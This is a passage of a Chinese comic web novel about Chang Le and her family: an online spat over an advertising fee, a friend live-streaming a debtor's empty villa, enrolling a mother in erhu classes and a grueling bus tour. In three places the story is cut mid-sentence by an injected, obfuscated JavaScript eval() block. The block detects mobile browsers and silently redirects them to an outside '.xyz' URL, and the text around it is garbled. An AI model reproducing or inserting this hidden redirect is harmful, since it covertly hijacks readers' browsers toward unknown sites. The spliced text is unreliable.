常乐:【是啊,我给你全家买的。】 对方:【我操.你大爷!】 常乐:【亲,我看了你朋友圈的照片,还是个中年尤物呢,我替我大爷谢谢你啦。辛苦你的小钢针,给他的菊花松松土。】 对方正在输入中。 常乐都能想象到他气急败坏的样子,但她不想给他发泄的机会。 她飞快地打字:【现在销量已经超过10单了,赶紧打钱,不然我就报警!】 对方持续输入中。 常乐打字更快:【我还会号召身边所有人,给你家店打一星、写差评、买完就退。我顶多出几块钱运费,你积压一堆库存卖不出去,就等着哭去吧!】 对方沉默了,输入框迟迟没有动静。 常乐继续放狠话:【你装死也没用,治你的方法多得是!】 僵持许久,对方终于屈服,给常乐转了200。 他发来一段语音,语气悻悻的:“行了行了,不就是两百块钱吗?多大点事,至于吗?做生意的,别伤了和气。” 常乐火速收款,并打出一行字:【欠我薪资者,虽远必诛!!!】 然后将对方拉黑。 果然,在这个遍地是骗子的世界,发疯比发嗲管用,报复比报警有效。 抛下个人素质,才能享受爽文人生。 常乐连做几个深呼吸,平复激动的心绪,然后回到客厅,将300块钱转给姥爷。 “搞定了?”姥爷举着手机,面露喜色。 常乐云淡风轻地点点头。 姥爷说:“你也出了不少力,咱俩一人一半。”说完又给她转了150。 常乐没跟他客气,欣然接受。她的气还没完全消呢,这个钱就当是她的精神损失费了。 姥姥从厨房出来,端出一盘切好的哈密瓜,感叹道:“当网红还真不错,一天就赚了300。” 她搡搡姥爷,建议道:“你以后要多接广告,争取一天一条。等名气大了,咱就涨价,500一条。” 姥爷乐呵呵道:“我尽量,哈哈哈。” 常乐咬了一口瓜,没接话。 姥姥说这话,就像在说“清华是所好学校,建议你报考”一样,天真到她都不知道该怎么反驳。 -- 看完天气预报,姥爷关了电视,准备出门溜达溜达。 恰在此时,常乐收到一条微信。珍姐给她发来了自己的工牌照片。 常乐放大一看,惊喜不已,立马给她拨了个语音通话。 “珍姐,你当上中介啦?” “对啊,刚刚才下班。”珍姐的声音有些疲惫,但听得出来,她心情不错,“还是上次面试的那家店,小叶帮了不少忙呢。” 常乐好奇地问:“当中介忙不忙啊?” “今天还好,入职第一天,做了个简单的培训,然后就是打电话,拉客户,还跟着小叶去带看了两套房。” 在珍姐说话的间隙,手机里传来一道女声:“大门已开,欢迎回家。” 常乐惊奇道:“这么快就到家了?你在附近租了房子吗?” “不是。”过了会儿,珍姐才重新开口,声音压得很低,“我们店离那个别墅小区不是很近嘛,我打算以后每天上班前、下班后都来看看。还有啊,我跟你说一件事——” 珍姐的话音又停住了。 常乐猜测她是走到更隐蔽的地方了,果然,过了会儿,才听到她小声说:“他们家斜对面不是有栋别墅空着嘛,听说房主犯事了,房子一时半会儿也不会卖。我在二楼架了部旧手机,对着他们家直播。我上班的时候时不时地看一眼,等他们回来了,就能第一时间知道。” “不是,你这……”这段话信息量太大了,常乐的大脑乱成一团毛线,好半天才捋出重点:“……这不违法吧?” 珍姐反问:“我违什么法了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709373|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?现在直播什么的都有,直播钓鱼、直播摆地摊、直播工厂流水线,没听说过谁因此被判刑了。” 常乐还是不放心,“你要是想蹲点,可以装个监控啊,直播也太那啥了……” 珍姐嗤笑一声:“你这种行为才容易违法吧?” 常乐愣住了。 也是,直播好歹是大大方方地向公众展示,监控是给自己看的,要是被人发现,给她十张嘴都解释不清。 珍姐边走边说:“再说了,装监控也得花钱吧,还要接电源,太麻烦了。我每天早上过去,把手机架好,晚上再带回家充电。为了防止中途没电,还接了个充电宝。今天是第一天,直播效果还不错,有几十个人观看呢。” “你这……”常乐一时不知该如何评价,想了半天,只好说:“你是在用自己账号直播吗?我去瞅一眼。” 珍姐走得气喘吁吁:“不是,我用的是小号,待会儿发给你。你平时要是有空,也帮我盯一眼。” “行。”常乐答应完,又觉得有些愧疚,“怎么能叫帮你呢?咱们是一起的啊。你在前面冲锋陷阵,我给你打辅助。反正我家离江城近,你有什么需要,我随叫随到。” 珍姐笑着说:“还是你靠谱。行,发给你了。” 挂断语音后,常乐赶紧点开珍姐发的直播间。 画面昏黄,借着窗外路灯的光,能隐约看到一栋房子的轮廓,黑漆漆的,没有一丝亮光。 画面正上方还配了一行大字:“蹲点讨薪第一天,老鳖孙不在家。” 左下角的互动区,有不明真相的网友发了一连串问号,还有几条,明显是知情人士的正义发言: “欠钱不还,全家死完!” “支持博主合法讨薪!” “老赖滚出来!别当缩头乌龟!” 常乐给直播间送了一束玫瑰,并怒发几条评论: “王八蛋老孙,你不是人!” “我们辛辛苦苦给你干了大半年!” “你不发工资,你还我血汗钱!” “还我血汗钱!” 十分钟后,直播间关闭了。 珍姐给常乐发了条语音:“直播间的人还挺多,是不是大家都喜欢看这种?还有人给我打赏呢。” 常乐叮嘱道:“珍姐,你做直播千万要注意,不要侵犯到别人的隐.私,要是有人出现,你最好给他打个码。” 珍姐回复道:“我知道的。我在直播间加了特效,有人经过,脑袋就会变成猪头。” 常乐忍俊不禁,一颗悬着的心终于落回肚子里。 她给珍姐发了一串大拇指。 -- 夜深了,常乐躺在床上,翻看珍姐的小号,里面干干净净,没有透露任何个人信息。 她放下心来,又去看姥爷最新的视频,底下已经有了几十条评论,大家一致认为,第二个粉红少女心的骨灰盒最适合姥爷。 甚至还有不少网友表示很感兴趣,想购买同款。 常乐点开购物链接一看,视频发布才几个小时,显示已经售出了10件商品。 常乐的心中充满了成就感。 虽然看到奸商赚钱,她略感不爽,但是这说明了这条视频的推广是有效果的,没准儿姥爷会被更多商家关注到,接到更多的广告。 常乐喜滋滋地关了灯,盖好被子,准备睡觉。 意识逐渐模糊之际,她陡然打了个激灵,倏地睁开眼。 不对!那10个已售,全是她一个人买的!她忘了退货! 常乐顿时吓出一身冷汗。 她腾地坐起身,摸到手机,打开抖音里的订单。 还好还好,商家还没发货。 她赶紧点了退货,长吁一口气,庆幸自己又躲过一劫。 十件骨灰盒,又大又沉,她辛辛苦苦赚的150,还不知道够不够付运费的。 33. 33 已是正月下旬,小城的年味散得差不多了,周围人都忙碌起来,该上班的上班,该上学的上学。 林文娟也收到了几所老年大学的开学通知。 于是,在这个阳光明媚的周五,常乐开车带着林文娟,到老年大学报名和选课。 东山区老年大学开设的课程最全,报名的人也最多。好在她们到得早,顺利地选到了二胡、书法、民族舞的进阶班,剩下一门课,林文娟在《摄影入门》和《如何制作短视频》之间犹豫不决。 “妈,你知道摄影有多烧钱吗?”常乐小声提醒她,“摄影穷三代,单反毁一生啊。” 林文娟不乐意了:“我有存款,有退休金,花点自己的钱怎么了?女人就是要对自己好一点。” 常乐“啧”了一声:“又被消费主义洗脑了吧?你用手机拍拍照就行了呗,出门还得扛个相机,多累啊。” 林文娟:“那相机拍出来的效果,跟手机能一样吗?” 常乐点点头,附和道:“确实不一样,虽然手机自带美颜滤镜,但相机拍出来的更真实,什么毛孔啊、皱纹啊、褐斑啊,全给你拍得一清二楚。” 林文娟:“……” 常乐一手拿笔,一手托着报名表,问:“想好了吗?报哪个?” 林文娟:“短视频吧……还是这个比较实用。” 交完钱后,两人拿着一沓宣传册走出办公室,外面已排起了长队。林文娟一路上碰到几个老同学,不时停下来跟他们寒暄。 走廊里挂着一排宣传板,用来展示师资风采。常乐等得无聊,就挨个研究了起来。 咦,这个白发银须的老头居然是教短视频制作的; 哇,那个年轻女老师是教英语口语的,还是个博士呢; 哟,这个男的不错…… 常乐脚步一顿。 哟,钟大师,久违了。 上次他说他叫什么来着? 林文娟跟同学聊完,转头四处找常乐,发现她正杵在钟煜的宣传板前,看得极其认真。 她“哟”了一声,“看帅哥看傻了?” 常乐指着钟煜的脸,问林文娟:“他怎么还在这儿?” 林文娟觉得莫名其妙:“不在这儿要在哪儿?这所学校就他一个二胡老师。” “你不是说,学校拖欠他工资吗?” “嗐,那不是我瞎猜的嘛,也许他是经济上遇到什么困难,才想着卖艺赚钱的。” 常乐抚着下巴,若有所思。 “哎,我有个提议。”林文娟挽着她的胳膊,往楼梯口走去,“你要不跟他认识认识?吃个饭,逛个街,加个微信什么的。” 常乐眉头一挑,有种不祥的预感。 “相亲啊?” 又相亲?这个钟大师是不是有KPI要完成啊?还是绑定了什么“不相亲就会被电”的变态系统? 林文娟怕她有抵触心理,绕着弯子说:“也不算正式相亲啦,你不要有心理压力,可以先从朋友做起嘛。” 常乐板起脸,佯装生气道:“妈,你不是向我保证过不催婚催生嘛?怎么,看我在家里待久了,嫌我烦了,想赶紧把我打发走?” “看你说的什么话?”林文娟急忙解释,“我是觉得,钟老师还不错,一表人才,温文尔雅,属于优质男青年。不光我这么觉得,班上好多同学都想把自己的女儿、侄女、外甥女介绍给他呢。” “那他找个对象很容易啊,怎么还单身到现在?” “可能是眼光太高了吧。” 常乐哼笑一声:“所以喽,他凭什么看上我啊?” “你又不差,怎么就看不上你?”林文娟又急又气,双手捧着她的脸,用力搓揉着,“你看看你这脸蛋、这眼睛、这嘴巴,全都遗传了我的精髓,就是鼻子有点塌,随了你爸,可惜了……” 常乐两颊的肉被她挤到中间,撅着小鸡嘴说:“你这是亲妈滤镜。” 林文娟松开手,语气笃定,还带着几分骄傲:“总之,你一点都不差,配他是绰绰有余。上次家长会你不是上台发言了嘛,我好几个同学都跟我夸你呢,说你那个,呃……才貌俱佳,秀外慧中,大家闺秀,呃……” “行了行了。”常乐怕再不打断她,她连“倾国倾城”、“国色天香”这种词都能大言不惭地说出来。 不过,她心里还是挺得意的。 那次家长会之前,她为了能艳压全场,在镜子前捯饬了两个小时,双眼皮贴、美瞳、假睫毛、卷发棒,这些平时嫌麻烦的装备全都用上了。 结果到了现场,发现能艳压的只有的老头老太太,大家的朴实无华,倒显得她用力过猛了。 两人走出办公楼,回到车上。 “下一个是不是该去北湖区老年大学了?”要回到她的初舞台了,常乐心情有些激动。 “呃……”林文娟迟疑了下,视线躲闪,“去南港区吧,北湖区今年就不报了。” “啊?”常乐大失所望,“为什么啊?” “北湖区那边的学校,呃……在搞装修,还没完工。” 林文娟不敢回忆那天家长会上尴尬的局面,更不敢回到那个尴尬的地方。 常乐不明所以,只得接受:“……好吧。” 在两所学校报了八门课,花了1600,林文娟仍觉得意犹未尽。 “一个星期才上八节课,是不是少了点?”她自言自语。 常乐正在开车,闻言劝道:“妈,师父领进门,修行看个人。上多少课不重要,重要的是自己的领悟和练习。” “有道理。”林文娟若有所思。 小车缓缓驶过老街,路过城隍庙时,林文娟忽然开口:“下一个路口往右拐。” “啊?”常乐不解地问,“不回家吗?” 林文娟给她指路,“实小门口那条街有好几家民乐培训班,我想去看看。” 常乐大惊失色:“你不会要报班吧?” 私人培训班的收费可比老年大学贵多了。 林文娟说:“我去打听打听情况。要是价格合适,课外开个小灶也行。” 常乐震惊到失语。 学个二胡而已,有必要这么卷吗?该不会是想偷偷努力,然后惊艳所有人吧? 尽管心中有一万个不理解,常乐还是乖乖听话,驱车驶入实小路,在路边找了个空车位。 两人下了车。路旁开着各式各样的小店,文具店和书店镇守在校门两侧,炸鸡铺紧挨着奶茶店,二次元谷子店里陈列着琳琅满目的周边产品,路的尽头有几家琴行,二楼悬挂着“乐器培训”的招牌。 “那家看着挺正规。”林文娟指着一家古色古香的门店说。 招牌上写着“丝竹民乐艺术班”,下方有一行小字:“二胡、古筝、琵琶、竹笛。” 门口还摆放着几张易拉宝。常乐走近一看,上面写着“二胡入门,5人小班,980元10节课”之类的广告语。 常乐心里踏实了几分。 能把价格大大方方展示出来,说明店家有实力,有底气,不怕货比货。 她挽着林文娟走了进去。 一楼面积不大,只有前台和一排等候椅,教室应该在二楼。 一个年轻女孩礼貌地接待了她们:“您好,请问是来咨询课程的吗?” “你好。”林文娟点点头,“我想请问一下,我有二胡基础,想报个提高班。你们怎么收费呢?” 前台女孩递来一张宣传单,说:“我们的二胡提高班是5人小班,1280元,10节课。上课时间是……” 店内靠墙摆放着几张易拉宝。常乐扫了一眼,意外地捕捉到了一张熟悉的脸。 好家伙,怎么哪儿都有他? 这座城市该不会只有他一个人会拉二胡吧? 恰在此时,前台女孩也介绍道:“授课老师非常优秀,得过几项全国大奖。这边有他的简介,您可以看看。” 顺着她手指的方向,林文娟转过头,视线与常乐对上。 常乐似笑非笑:“这不巧了嘛,你想上补习班,你的老师正好在开补习班。” 林文娟“嘶”了一声。 “钟老师……”她怀疑自己眼花了,转过头询问前台女孩,“他也在这儿上课?” 女孩点点头,“对啊,这家店就是他跟朋友合开的。” “他在店里?” “正在楼上上课。”女孩看了眼墙上的挂钟,“还有五分钟下课,您要不坐这里等一下他?” 林文娟如梦初醒般连连摇头,“不用不用……我再看看吧。打扰了!” 她边说边推着常乐往外走,还小声催促:“快走!别让他看到了!” 难得看到她这么惊慌失措,常乐觉得挺好笑:“你怕什么?看到了就打个招呼呗。” 林文娟将她拽出大门,才说:“你懂什么?老师看到学生在校外补课,会觉得自己教得不好。” 常乐哈哈大笑起来。 “你想多了,他自己都在开课外班。哎,等会儿——” 她又瞥了一眼那张易拉宝,忽然觉得有几分眼熟:上面是钟煜的照片和简介,底下是一张硕大的二维码。 “怎么了?”林文娟不明所以,顺着她的视线望去。 “上次看他在庙门口要饭,旁边就摆着这张易拉宝,下面有个二维码,我还以为是他的收款码呢。”常乐思索片刻,“你等会儿——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721129|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她又回到店里,掏出手机扫码。微信上弹出“丝竹民乐”的微信号。 原来是误会一场。 真是的,给培训班做宣传,也不选个好地方,在城隍庙门口跟一堆算命老大爷抢生意,还拉着这么凄凉的曲子,狗从他跟前路过都得扔两块硬币。 常乐正要跟林文娟解释,余光忽然瞥见楼梯拐角处出现了一双长腿,穿着灰色西装裤。 再然后,就听到前台小妹清脆的声音:“钟老师,你下课了?这儿有两位——” 后面的还没听完,常乐已经被林文娟拖拽着跑出了半条街。 直到两人跑到车边,林文娟才撒开手,急促地喘着气,问常乐:“他是不是看到我了?完了完了,他肯定看到了……” 常乐倒在车门上,笑得上气不接下气。 -- 晚餐桌上,常乐跟大家绘声绘色地描述林文娟今天的精彩表现,一家人都笑得前合后仰。 “你怕什么啊?”常建民给她夹了个烤鸡翅,笑着说,“人家开培训班是主业,在老年大学上课才是副业。你去报班,还能给他增加收入,他高兴还来不及呢。” 林文娟不服气,对姥姥姥爷说:“爸,妈,你们都是老师,要是看到学生在外面报补习班,你们会不会觉得是自己没教好?” 姥姥晃晃筷子,“学生底子差,该报就得报。学生成绩好,能更上一层楼。这跟我的教学质量有什么关系?” 姥爷也说:“对,反正肯定不是我的问题。” 常乐忍不住为两位不内耗的老人鼓掌。 林文娟回想今天的表现,确实有点丢人。她嗦着筷子,有些苦恼。 “那可咋办?要不明天我去报个班,再跟他解释一下?” “哎唷,我的妈呀,”常乐哭笑不得,“你在老年大学学的内容,跟报班学的没有区别,就别花这个冤枉钱了。” “那不一样,老年大学一个班三十多人,这个小班才五个人,更有针对性。” 常乐懒得反驳她,低着头,专心致志地啃着鸡翅。 林文娟思索片刻,对常乐说:“你明天陪我一起去。” 常乐抬起头,“啊?” 林文娟:“我怕尴尬嘛。你跟钟老师都是年轻人,有共同话题。你跟他多聊聊天,缓解一下气氛。” “不行啊。”常建民横插一脚,“她明天得陪我去竹沟村。” 常乐转过头,“啊?” 什么猪狗村,她闻所未闻。老板们在使唤她之前,就不能跟她核对一下行程吗? “明天方师傅要去那边办事。”常建民冲她挤挤眼睛,“你懂的。” “又要去捅马蜂窝?”常乐面露愁容。 虽然这事挺有意思,但体验一次就够了,毕竟山路不好走,扛着一大袋装备钻树林实在是累。 “那个什么村,远吗?” “不远,开车三个小时就到了。” “啊?”常乐更发愁了。 这意味着她明天又得天不亮就起床。 姥姥看出她不乐意,主动替她解围:“既然不想去,那明天你跟我去旅游。” 一桌人都震惊了,齐声问:“旅游?” 姥姥淡定地说:“小区门口不是新开了家旅行社嘛,那个小周,哦,就是他们店长跟我说,有个团明天发车,去福建玩五天,就剩两个名额了。报名的话可以减一百块钱,还送一个烤箱。” “你报了?”常乐瞪大眼。 姥姥伸出筷子,敲了敲她的碗,“不然你碗里的鸡翅是怎么做的?” 常乐反应过来,起身冲进厨房,果然,橱柜上摆着一台崭新的烤箱。 “我的姥啊,就为了这个,你就……”常乐叹了一口气,“贪小便宜吃大亏啊。” 姥姥笃定地说:“不会的,我保证这次不乱花一分钱。” 常乐无言以对。 “去不去?”姥姥问她,“你不去,我就跟你姥爷去。” 常乐回到座位,一边嗦着鸡翅,一边思考该选哪个老板布置的任务。 陪妈妈去报班,噫,尴尬。 陪爸爸去山里,唉,辛苦。 陪姥姥去旅游,如果不购物,肯定会被导游PUA,一路上既尴尬,又辛苦。 不过…… 她打量着姥爷,越看越觉得他不靠谱。 她好歹是个年轻人,见多识广、身经百骗、且意志坚定,而姥爷,一看就没遭受过社会的毒打,别人一忽悠,他就屁颠屁颠地掏钱了。 本就不丰厚的家底又要雪上加霜。 “算了,放过姥爷吧。”常乐吐出鸡骨头,抬头看着姥姥,一脸视死如归的悲壮,“我去。” 34. 34 清晨五点半,夜色还未消退,街头人影零星,路灯投下一束出清冷的光。 常乐和姥姥裹紧大衣,站在寒风中,等待着一辆不知会从哪个方向驶来的大巴车。 昨天晚上,她们已经收拾好了行李。姥姥信誓旦旦地保证,闽南的冬天一点都不冷,所以常乐只穿着一件连帽衫和牛仔裤,带上两件薄外套。为了在海边美美拍照,还往箱子里塞了一条白色长裙和网红披肩。 常乐蹲在路灯下,直打哈欠,眼泪汪汪。 半个小时前,姥姥将她晃醒,说是要再检查一遍行李,有备无患。 行李倒是带齐了,结果两人一出门就被冻傻了,又赶紧回家,各自裹上一件大衣。 一路紧赶慢赶,终于在约定的时间赶到小区门口,结果一个人都没有。 常乐满腹狐疑:“姥,真的是五点半集合吗?我怎么感觉怪怪的。” “哎,说是五点四十,我怕你磨蹭,就提前了十分钟。”姥姥说得毫无愧色,转头四处张望,“奇怪,其他人呢?” 常乐有种不祥的预感:“该不会整个小区就我们两个被骗吧?” “什么叫被骗?”姥姥拧她一把,“人家是正规旅行社。” 正说着,不远处又走来几个人影,身后都拖着行李箱。跟她们一样,迷茫地四处张望。 “这不就来了吗?”姥姥冲人影招招手,“老孙,吴翠,在这边等车!” 孙婆婆和翠姨手挽着手走了过来,跟她们打招呼,后面几个人影也跟了过来。 “哎唷,好冷啊。”翠姨裹紧身上的灰色貂皮大衣,四下张望,“车还没来吗?要等多久啊?” 姥姥安慰道:“快了快了。” 街对面有家早餐店开门了。明亮的灯光下,蒸屉冒着袅袅的热气,新鲜出炉的肉包子无比诱人。 翠姨问她们:“你们吃了吗?我去买点儿早餐吧。” 姥姥拉住她,“哎,别花这个冤枉钱,旅行社包早餐的。等车来了就给我们发。” “姥,”常乐盯着那一笼热气腾腾的包子,咽了咽口水,“我想吃……” “忍一会儿就有吃的了。”姥姥拽住她的胳膊,凑到她耳边,小声提醒,“别忘了咱家的家训:出门在外,一分钱别花,什么都别买!” 家训?常乐一脸呆滞。 咱家还有这种惨无人道的规定?该不会是你现编的吧? “姥,买几个包子花不了多少钱。”她可怜巴巴地说。 “反正咱们一人三百的预算。”姥姥拽着她的手死活不撒开,吓唬道,“超了,咱们都要被逐出家门。” “还家门……”常乐无语了,“咱家有什么门啊?抠门啊?” 又在寒风中等了半天,大巴车终于姗姗来迟。 车门开了,一个导游模样的中年女人从车上下来,搬下来一筐食物。 “来来来,一人一袋。” 常乐和姥姥各领到一个小纸袋,打开一看,两个法式小面包,一个水煮蛋,还有一盒纯牛奶。 冷面包,冷牛奶,连水煮蛋都是冷的。 常乐在寒风中冻了十几分钟,整个人透心凉,看到这些食物,顿时胃口全无。 她瘪瘪嘴,跟姥姥说:“我想吃口热乎的。” 姥姥从包里掏出保温杯,递给她,“喝吧。早上刚泡的茶,还烫得很。” 常乐:“……” 咱们是去旅游的,还是去逃荒的?有必要整得这么凄惨吗? 她还不如跟着常建民去山里捕猎呢,至少还能混口热乎的汤面吃。 -- 大巴车上已经坐了不少乘客,教师小区的几个人上了车,各自找到位置坐下。 常乐上车时观察了一圈,乘客大部分是中老年人,年轻人寥寥无几,而且都是一脸疲容,眼神无光,估计跟常乐一样,都是陪家里老人报名的。 她隐约闻到一股怪味,也许是有人在车上吃早餐。她没多想,跟姥姥在车厢中部找了两个空座位坐下,从兜里掏出小面包,三两口吃完。 大巴车向城外驶去,一路上走走停停,陆续有人上车。 直到六点半,大巴车终于满员,一路疾驰着驶上高速,窗外的天空也渐渐亮了。 这时,导游站在过道里,举着话筒开始发言:“大家早上好!非常高兴这次能带大家一起旅游。首先,我代表我们春阳旅行社,欢迎大家参加我们组织的厦漳泉五日游活动。我先给大家做个自我介绍,我姓周,大家可以叫我小周……” 接下来就是冗长的介绍词。 姥姥摘下了助听器,缩进椅子里。常乐也仰头靠着椅背,准备眯一会儿。 刚闭上眼,就听见麦克风里传来导游愤怒的声音:“在我讲解的时候,请不要睡觉,这样很不尊重人!” 常乐吓得赶紧睁开眼。 不就睡个觉嘛,有必要这么上纲上线么? 她小声嘀咕:“我睡觉的时候,你还大声讲话,你尊重过我吗?” 前排有个小哥戴着头戴式耳机,也被导游不点名批评了:“还有某些人,全程戴着耳机,一点都不尊重人!请摘下耳机,认真听我的讲解。” 反复说了几次,前排小哥才不情不愿地摘下耳机,低着头,在手机上飞快地打字。 估计是在跟朋友激情吐槽。 结果导游又不乐意了:“玩手机也是很不尊重人的表现,希望某些人能自觉点!” 常乐的手刚掏出手机,又怂怂地放了回去。 屁事真多啊。这是在做什么服从性测试吗? 再瞥了一眼身边的姥姥,她个子小,整个人缩进椅子里,被前排的椅背挡住,导游看不到。而且她没戴助听器,相当于给世界消音了。 难怪睡得那么香。 常乐此刻无比羡慕她。 她强忍着内心的烦躁,听导游巴拉巴拉说了十几分钟。终于,在一片稀稀拉拉的掌声中,导游放下话筒,给自己灌了半瓶水。 车厢内终于安静下来。 常乐松了口气,侧头靠着椅背,准备好好睡一觉。 可惜这份安静没持续多久,广播里突然传出响亮的音乐声。导游的声音再次响起:“为了让大家的旅途不无聊,我给大家献上一曲《萍聚》,会唱的朋友可以一起唱!” 常乐睁开死鱼眼。 就是纯纯折磨她是吧? “不管以后将,如何结束,至少我们曾经相聚过……” 渐渐地,独唱变成了合唱,大爷大妈的声音汇聚在一起,谱成一首欢快的交响乐。 气氛开始热烈起来,主动表演节目的人越来越多。前排有个红毛衣老奶奶唱了一首《女人花》,紧接着,几个系着五颜六色丝巾的大妈站起身,合唱了一首《粉红色的回忆》,然后是个戴帽子的老大爷,不知从哪儿变出来一只口琴,演奏了一曲《喀秋莎》…… 文艺表演一波接一波,整整两个小时,就没停歇过。 常乐瘫倒在座位上,双目呆滞,气息微弱。 尸体还热乎着,魂儿已经飘走了。 前排那一群活力四射的老年人终于消停了,导游沿着过道往后走,拿着话筒四处询问:“还有没有人想表演节目?既然相聚在一起,就是一家人,不要害羞嘛。” 她经过常乐身边时,常乐仿佛回光返照,一把抓住她,急声问:“什么时候到机场啊?” 导游一愣,反问:“什么机场?我们又不坐飞机,去机场干嘛?” 常乐糊涂了:“不坐飞机?” 去厦城,要穿过三个省,900多公里,不坐飞机? 她傻傻地问:“那坐什么?” “坐大巴啊。”导游笑了,“咱们不正坐在大巴上吗?还有十个小时就到了,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725421|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好能赶上晚饭。” “啊???”常乐瞠目结舌。 十个小时,加上刚刚那地狱般的两个小时,她总共要坐十二个小时的车,不能起身走动、不能随时上厕所,甚至不能想睡就睡! 她的屁股、后腰、大腿已经预感到危险,开始隐隐作痛了。 “看吧,我刚刚讲解的时候你不认真听,连我们坐什么交通工具都不知道。”导游站在她旁边不走了,把话筒递过来,“罚你给我们表演一个节目。” 常乐:…… 我只会表演当场去世。 她尴尬地笑笑,又是摆手又是摇头,浑身都在拒绝。 然而,导游并不想轻易放过她。她拍着巴掌起哄道:“来一个嘛,让我们听听现在的年轻人都喜欢唱什么歌。” 常乐低着头不敢看她,胳膊肘疯狂地杵着姥姥,试图将她捣醒,替自己解围。 僵持了好半天,后面一个大爷看不下去了,举手道:“小姑娘害羞,我先来一个吧。” 他接过话筒,声音洪亮地说:“我给大家演唱一首《敖包相会》。” 嘹亮的歌声响起,常乐短暂地松了一口气。 姥姥终于被捣醒了。她睡眼朦胧地看看窗外,又看看常乐,似乎忘了自己在哪儿。 等她恢复神智,戴上助听器,常乐急忙拉着她,质问道:“姥!咱们是坐大巴车去啊?我还以为是先坐车到机场,再飞过去呢!你怎么不早说?” 早说要坐十几个小时的硬座,打死她也不去啊。 姥姥斜了她一眼,眼神像在看智障,“一个人499,还想坐飞机?想屁吃!” 常乐:“……” 恰在此时,她的手机响了,是常建民打来的视频。 常乐如遇救星,急忙接通:“喂,爸!” 她一脸哀怨,头顶回荡着老大爷雄浑的嗓音:“我等待着,美丽的姑娘哟……” 常建民耳朵凑近屏幕,常乐都能看到他黑洞洞的耳道,“你这儿怎么这么吵?我问你啊……”他的脸又出现在屏幕里,“无人机的说明书你放哪儿了?” 大爷的歌声立体环绕在耳畔,常乐不得不提高音量:“在右边的床头柜里,里面的文件比较多,你仔细找找。” 过了会儿,“……找到了。” 常乐问:“你还没出发啊?” 她本以为他要像上次那样,天不亮就得出门呢。 常建民低头翻看说明书,说:“我跟方师傅约的是中午,还早着呢。” 常乐:“……” 早知道就该跟他爸去了,不仅能睡到自然醒,还能看看帅哥,一饱眼福。 “爸,”她突然冒出个大胆的想法,“既然你还没出发,就过来接我吧!” 常建民抬起头,一脸疑惑:“啊?” 常乐急切地说:“我说真的!我在下个服务区下车,等你过来!” 常建民哭笑不得:“旅行才刚开始呢,你就不想玩了?” 老大爷终于唱完最后一句,在袅袅的余音中,全车人都听到了常乐扯着嗓子大喊:“爸,我想回家!” 车厢里顿时安静下来。 气氛有一丝丝尴尬。 “算了。”常乐面无表情地对常建民说,“挂了。” 然后,她将手机塞回兜里,若无其事地拍了拍巴掌。 其他人很快反应过来,也跟着鼓掌。 “哈哈。”导游尬笑两声,试图缓解气氛,“看来我们的小妹妹想家了啊。” 周围人发出会心的笑声。 导游把话筒递到她跟前,“小妹妹,现在该你了,想好表演什么了吗?” 常乐深吸一口气,接过话筒,站起身。 “我跟大家玩个游戏吧。”她环视车厢一圈,脸上浮起邪恶的笑容。 “游戏的名字就叫,谁先说话谁是狗。” 35. 35 导游的笑容僵在脸上,嘴巴张了又合,喉咙仿佛被什么东西卡住,不敢泄露一丝声音。 车厢内一时鸦雀无声。有几个乘客挪了挪屁股,动作小心翼翼,生怕发出一点动静。 常乐得意洋洋地睨着导游,眼神仿佛在说: 来啊,小嘴不是挺能叭叭的嘛,来,给老娘汪一个。 不仅如此,她还缓缓环视四周,眼神带着威胁,看谁敢第一个开口。 左前方有个戴口罩的大叔,都不敢咳嗽了,憋着气,连背影都透着紧张。 常乐觉得自己有点过了。她正准备宣布游戏结束时,忽然,一股怪味飘到鼻子底下。 跟她刚上车时闻到的味道很像,但是更浓郁,也更刺鼻。 乍一闻,像是有人在吃水煮蛋,但仔细一闻…… “卧槽!”常乐猛然反应过来,彻底忘了自己设定的游戏规则,大喊一声:“好臭!” 车厢内爆发出一阵哄笑。 导游的脸色瞬间松弛下来,得意的笑容重新回到脸上。 “你输了哦,小妹妹。”她笑眯眯地说,“就罚你给我们汪一声吧。” “是真的!”常乐脸皱成一团,紧紧捂住口鼻,仍感觉那一股臭味在直蹿天灵盖。 她把导游拉到自己站的位置,用微弱的气息说:“不信,你自己闻!” 导游四处嗅了嗅,陡然变了脸色,“卧槽”一声,急忙用袖口捂住鼻子。 很快,周围的人也闻到了,一时间,车厢内哕声四起。 简直是一场灾难级核爆。 “谁啊?”后排一个大妈用丝巾掩住口鼻,嘟囔道,“谁这么没有公德心?” 刚刚表演完的大爷转过头,冲最后一排喊道:“赶紧开窗啊!” 大巴车是全封闭的,只有最后一排的小窗能打开。可是也无济于事,后排离臭味源有一段距离,而且灌进来的这点风,完全不够稀释毒气的。 “大叔。”常乐拍拍戴口罩的大叔的肩,“还有口罩吗?能不能借我一个?” 